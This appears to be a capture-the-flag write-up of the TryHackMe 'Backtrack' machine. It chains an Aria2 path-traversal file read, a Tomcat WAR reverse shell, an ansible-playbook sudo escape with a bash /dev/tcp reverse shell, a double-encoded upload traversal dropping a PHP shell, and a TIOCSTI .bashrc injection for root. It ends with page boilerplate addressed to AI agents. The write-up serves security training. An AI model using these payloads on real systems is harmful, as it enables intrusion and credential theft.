# Backtrack

{% embed url="<https://tryhackme.com/r/room/backtrack>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

A machine fully themed around path traversal vulnerabilities and 'stepping' back.

## Recon

We start with a Nmap scan and find four open ports. Three of which appear to be web servers. On `22`, we have SSH, port `8080` is a Tomcat server, and `8888` and `6800` are part of the Aria2 application.

<figure><img src="/files/CW1xlg96KSdEyJzaPxl6" alt=""><figcaption></figcaption></figure>

We scan the individual servers using Feroxbuster for further directories...

<figure><img src="/files/m790Tp2rAuxZw9TPYjaS" alt=""><figcaption></figcaption></figure>

... but find nothing interesting.

<figure><img src="/files/O0SLgF8Wl2WK5cfz3jkn" alt=""><figcaption></figcaption></figure>

We visit the page on port `8888` and find the Aria2 WebUI application.

<figure><img src="/files/5hbuTQLBkH7qlFatTfFL" alt=""><figcaption></figcaption></figure>

In the settings, we find the server info. This is version `1.35.0`.

<figure><img src="/files/QDAD3EGI8rpD6TnyQZQA" alt=""><figcaption></figcaption></figure>

After a brief search, we also find a vulnerability - `CVE-2023-39141` - that may apply. An LFI.

{% embed url="<https://gist.github.com/JafarAkhondali/528fe6c548b78f454911fb866b23f66e>" %}

## Shell as tomcat

We first check for the vulnerability and realize that we can exploit it. We are already able to access the `/etc/passwd` file via LFI.

{% code overflow="wrap" %}

```
curl --path-as-is http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../etc/passwd
```

{% endcode %}

<figure><img src="/files/FxGAavPnRj0OaDwaQe7C" alt=""><figcaption></figcaption></figure>

The next idea would be to look for sensitive information or possibly logs that can be poisoned to create an RCE. After checking the usual log files in `/var/log`, we cannot find anything here that is there or that we have access to. Instead, we can check the context in which we are currently by including the file `/proc/self/environ`. We can see that the user `tomcat` is running this application.

{% code overflow="wrap" %}

```
curl --path-as-is http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../proc/self/environ --output -
```

{% endcode %}

<figure><img src="/files/CKWQs91FGWY0K2BebbFh" alt=""><figcaption></figcaption></figure>

We check whether we can find the first flag in `tomcat`'s home directory and find it. That works, but it doesn't get us any further for the time being. So we continue and think about how to get to RCE.

{% code overflow="wrap" %}

```
curl --path-as-is http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/flag1.txt
```

{% endcode %}

<figure><img src="/files/RD6yX9FRbMdgZiEQ8lCY" alt=""><figcaption></figcaption></figure>

We check the logs of the Tomcat server - `catalina.out` - and find some artifacts from testing or creating the room. A reverse shell was once uploaded. This is a way to RCE ifwe would have access to the management board of the Tomcat server. Let's look for more sensitive data.

{% code overflow="wrap" %}

```
curl --path-as-is http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/logs/catalina.out
```

{% endcode %}

<figure><img src="/files/s6hyUblCPx0fFosJlqa2" alt=""><figcaption></figcaption></figure>

The `/opt/tomcat/conf/tomcat-users.xml` is very promising. This contains the Tomcat users. And we find credentials for the tomcat user in the script manager role.

{% code overflow="wrap" %}

```
curl --path-as-is http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/conf/tomcat-users.xml
```

{% endcode %}

<figure><img src="/files/iCEC4vXcOAqELoihoeru" alt=""><figcaption></figcaption></figure>

We switch to the Tomcat server.

<figure><img src="/files/O2pLo4YEYGavjToUBn9x" alt=""><figcaption></figcaption></figure>

Use the credentials after clicking on `Manager App`.

<figure><img src="/files/Knnxfc6JYY7h14Jc3JLF" alt=""><figcaption></figcaption></figure>

And get disappointed. We have no permissions. This is because we are not allowed to manage via GUI in the role of `manager-script`. No problem, then we simply use `cURL`.

<figure><img src="/files/FErUGPzz4vyvyhh9ZAsa" alt=""><figcaption></figcaption></figure>

We are already preparing a reverse shell using msfvenom.

{% code overflow="wrap" %}

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.8.211.1 LPORT=4445 -f war -o shell.war
```

{% endcode %}

<figure><img src="/files/n7ZS2j5USMGfDZY3lvmS" alt=""><figcaption></figcaption></figure>

And set up a listener.

```
nc -lnvp 4445
```

<figure><img src="/files/HOBjy0CXKBqasPS6pfj1" alt=""><figcaption></figcaption></figure>

Next, we deploy the reverse shell using cURL and use the credentials found.

{% code overflow="wrap" %}

```
curl -u tomcat:REDACTED --upload-file shell.war "http://backtrack.thm:8080/manager/text/deploy?path=/shell&update=true"
```

{% endcode %}

<figure><img src="/files/2UjVOqVUzeRuKbAa6J92" alt=""><figcaption></figcaption></figure>

Then we can call the new shell endpoint...

```
curl http://backtrack.thm:8080/shell/
```

<figure><img src="/files/23HjLURIXXRyts2YwOE2" alt=""><figcaption></figcaption></figure>

... and receive a connection back to our listener. We are the user `tomcat` and find the first flag in `/opt/tomcat/flag1.txt`. The next thing we do is upgrade our shell:&#x20;

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

<figure><img src="/files/XtQOGMHj2xw2KxkRcH0k" alt=""><figcaption></figcaption></figure>

## Shell as wilbur

When enumerating, we realize that we can execute `/usr/bin/ansible-playbook /opt/test_playbook/*.yml` as the user `tomcat` using `sudo` as the user `wilbur` without a password. This looks like a promising way to switch to the user `wilbur`. Thanks to the wildcard, we can execute any playbook in any location we control using path traversal.

<figure><img src="/files/swXWUoqyoJGLvUI1oBYO" alt=""><figcaption></figcaption></figure>

How such a playbook must look so that it executes a script of our choice is shown in `Exploit Notes`:

{% embed url="<https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/ansible-playbook-privilege-escalation/>" %}

We create our script for a reverse shell and make it executable.

```
echo '/bin/bash -i >& /dev/tcp/10.8.211.1/4445 0>&1' > /tmp/wilbur.sh
```

<figure><img src="/files/rOlRtTaYQeOVkEEttCky" alt=""><figcaption></figcaption></figure>

Next, we create the playbook, which then executes this script.

{% code title="priv.yml" %}

```
- hosts: localhost
  tasks:
    - name: RShell
      command: bash /tmp/wilbur.sh
```

{% endcode %}

<figure><img src="/files/K4dI0fXhmCkCCY6xK0x2" alt=""><figcaption></figcaption></figure>

When we run it for the first time, we realize that the user `wilbur` does not have sufficient rights to our scripts and playbooks.

```
sudo -u wilbur /usr/bin/ansible-playbook /opt/test_playbooks/../../tmp/priv.yml
```

<figure><img src="/files/3PImtEWmBmrnof2BXm1n" alt=""><figcaption></figcaption></figure>

We then change this again and run our sudo command again.

<figure><img src="/files/JX9l0Ai5waZdiIK8JbGh" alt=""><figcaption></figcaption></figure>

We get a connection back, and we are `wilbur`. The next thing we do is upgrade our shell:

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

Unfortunately, we cannot find the second flag in the user's home directory. But we do find two useful hints. From `from_orville.txt`, we learn that this user orville has probably set up a web server, an image galery, which still needs to be tested. We receive credentials for this. We also receive further credentials. Possibly those for the user `wilbur` on the system.

<figure><img src="/files/AMorWKHweo10z0ujp4cA" alt=""><figcaption></figcaption></figure>

## Shell as orville

We search for internal web services and find what we are looking for at port `80`.&#x20;

<figure><img src="/files/AeOlz5tm72xkf2eWVslh" alt=""><figcaption></figcaption></figure>

Since we have already found credentials on wilbur, we use SSH for local port forwarding. Alternatively, we can use `ligolo-ng` or `chisel`. However, this turned out to be very unstable.

```
 ssh -L 9999:127.0.0.1:80 wilbur@backtrack.thm
```

<figure><img src="/files/OWmTZeQczpgPrl8GnzHu" alt=""><figcaption></figcaption></figure>

Now we can reach the image gallery via `http://127.0.0.1:9999/`.&#x20;

<figure><img src="/files/vQngl0UeS1t1PxzdWniB" alt=""><figcaption></figcaption></figure>

We use the found credenitals in `wilburs` home directory.&#x20;

<figure><img src="/files/0mUavOI1Q9toy4Lqbptj" alt=""><figcaption></figcaption></figure>

And now face an image upload page. Looking closely at the password, we can guess some sentences in Leetspeak giving us the clue, that this is indeed the vulnerable function to look for.

<figure><img src="/files/amHlMSBGBSOtMMivhQvE" alt=""><figcaption></figcaption></figure>

We intercept an upload request via Burp Suite to better understand what is happening. A `multipart/form-data` is used to transfer the data via a POST request. We upload a simple image of a pixel.

<figure><img src="/files/fG8Wq5wWizpDWOKqDLQz" alt=""><figcaption></figcaption></figure>

The image gets stored at `/uploads`.

<figure><img src="/files/O8iuoKzKig06lWKAPl2b" alt=""><figcaption></figcaption></figure>

There are filters in place, that prevent uploading a PHP file directly. Changing the magic bytes or the Content-Type doesn't yield any success. Instead, we are successful with a simple modification of the file ending.

Trying several bypass techniques, we see that appending a `.php` file ending leads to it being uploaded.

<figure><img src="/files/kCuR1MiaZC1ARMPdTiyk" alt=""><figcaption></figcaption></figure>

Unfortunately, the file is uploaded but does not execute in `/uploads`. We can only download the file.

<figure><img src="/files/GBxl6JwgjHW3RN8DqlH9" alt=""><figcaption></figcaption></figure>

Using the following script, we try a large number of bypass combinations, none of which are executed in `/uploads`. This may not even be possible.

{% embed url="<https://github.com/sAjibuu/Upload_Bypass>" %}

Instead, we take a step back. Literally. We now try to place our files outside `/uploads` using path traversal.

```
../pixel.png
```

We try different payloads from fuzzing wordlists and are successful with the double URL encoded variant of `../`.

```
%252e%252e%252fpixel.png
```

<figure><img src="/files/No7s79AKD2Z6FeJd3XtU" alt=""><figcaption></figcaption></figure>

Our image is now in the root folder of the web server and can be displayed.

<figure><img src="/files/iBWrdk7yFv9z5X4VSV3y" alt=""><figcaption></figcaption></figure>

Next, we try appending `.php` to the filename and placing a simple `phpinfo()` payload, to test if it gets resolved properly.

```
%252e%252e%252fpixel.png.php
```

<figure><img src="/files/jhsQRCpqV7q9JA64tPDf" alt=""><figcaption></figcaption></figure>

Accessing /pixel.png.php, we see the `PHP info` page. We are successful.

<figure><img src="/files/1sxV8nk8qlDuy2Rya06o" alt=""><figcaption></figcaption></figure>

The next thing we do is generate a PHP PentestMonkey reverse shell using `revshells.com` and set up a listener.

<figure><img src="/files/nnsF0qM9HEzNLO5gRtkq" alt=""><figcaption></figcaption></figure>

We prepare the upload with the shell and the manipulated filename and send the request.

```
%252e%252e%252fshell.png.php
```

<figure><img src="/files/T3jyKY8bJ9MRMYTauHcO" alt=""><figcaption></figcaption></figure>

After accessing our placed `shell.png.php` via cURL or a browser, we get a connection back as `orville`.

```
http://127.0.0.1:9999/shell.png.php
```

We upgrade the shell and find the second flag in `/home/orville/flag2.txt`.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

<figure><img src="/files/2StFXuhjNU1w23cYVfPu" alt=""><figcaption></figcaption></figure>

## Shell as root

In `orville`'s home directory, we find the zip archive `web_snapshot.zip`. This also contains our uploaded files, it is probably created regularly, but we cannot find anything in the cronjobs. We bring `psyp64` to the machine (using a web server or scp).

Pspy64 is a  non-intrusive tool used to monitor active processes and system commands in real time without requiring root privileges.

> It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs.

{% embed url="<https://github.com/DominicBreuker/pspy>" %}

We run pspy64 and see some stuff happening.

```
./pspy64
```

<figure><img src="/files/wZa8WKatJKICvNnZB4zr" alt=""><figcaption></figcaption></figure>

We see that the user orville is switched to using `su` and the hyphen `-` is used. Before that, some executions happen in the `uid 0` context, i.e. `root`. We therefore assume that the `root` user changes to `orville` and then creates a snapshot of `/var/www/html` using `zip`.

**The use of the `-` simulates a full login.**\
It provides a new environment as if the user had logged in directly. This includes:

* Loading the user's shell as defined in `/etc/passwd` (such as Bash).
* Executing the target user's startup scripts (like `.bash_profile` or `.profile`).
* Switching to the user's home directory.
* Updating environment variables (like `$PATH`, `$USER`, `$HOME`, etc.) to match that user's configuration.

As `orville` we are in control of the `.bashrc` so we are able to let the `root` user in disguise of `orville` execute commands for us. So how do we get **back** to `root`? After we switched to another user using `su`. Exit would be an option, but that would kill the entire session.

Shout out to 0day for sharing me this resource as we had collaborativley solved the challenge.

We are facing one of the oldest privilege escalation vecotors, which I was not aware of:

{% embed url="<https://www.errno.fr/TTYPushback.html>" %}

Instead of just sending an `exit`, we send `SIGSTOP` to the lower privileged shell to get the focus back to its parent, becoming `root` again. In other words, if we use `su` to switch to another user, creating a child `shell`  process under the parent `root` `shell` process, we can return to the parent process, sending a `SIGSTOP` signal, as shown below:

{% code title="" overflow="wrap" lineNumbers="true" %}

```python
import os
import signal

os.kill(os.getppid(), signal.SIGSTOP)

```

{% endcode %}

<figure><img src="/files/LlWnqn5ygmqWADFvuNst" alt=""><figcaption></figcaption></figure>

We adapt the script from the resource,  sending `SIGSTOP` to the lowpriv shell to get the focus back to its parent, the `root` shell. Then sending the characters `chmod +s /bin/bash\n`one by one using the `TIOCSTI ioctl injects` them into the `root` shell as if they were input manually, until '`\n'` is sent, which executes the command, creating us a `SUID` `/bin/bash binary` which is owned by `root`.

We place that script in `/dev/shm/`.

{% code title="backtoroot.py" overflow="wrap" lineNumbers="true" %}

```python
#!/usr/bin/env python3
import fcntl
import termios
import os
import signal

os.kill(os.getppid(), signal.SIGSTOP)

for char in 'chmod +s /bin/bash\n':
    fcntl.ioctl(0, termios.TIOCSTI, char)
```

{% endcode %}

And append the following to the `/home/orville/.bashrc` to let it be executed while the `root` user switches users to `orville`.

```
echo 'python3 /dev/shm/backtoroot.py' >> /home/orville/.bashrc
```

After a short duration we get a `/bin/bash` `SUID` binary and execute it via `bash -p` to get a `root` shell.&#x20;

We are now `root` and have access to the third flag.

<figure><img src="/files/1yxQILhIqMVF6sb3fY5u" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/backtrack.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
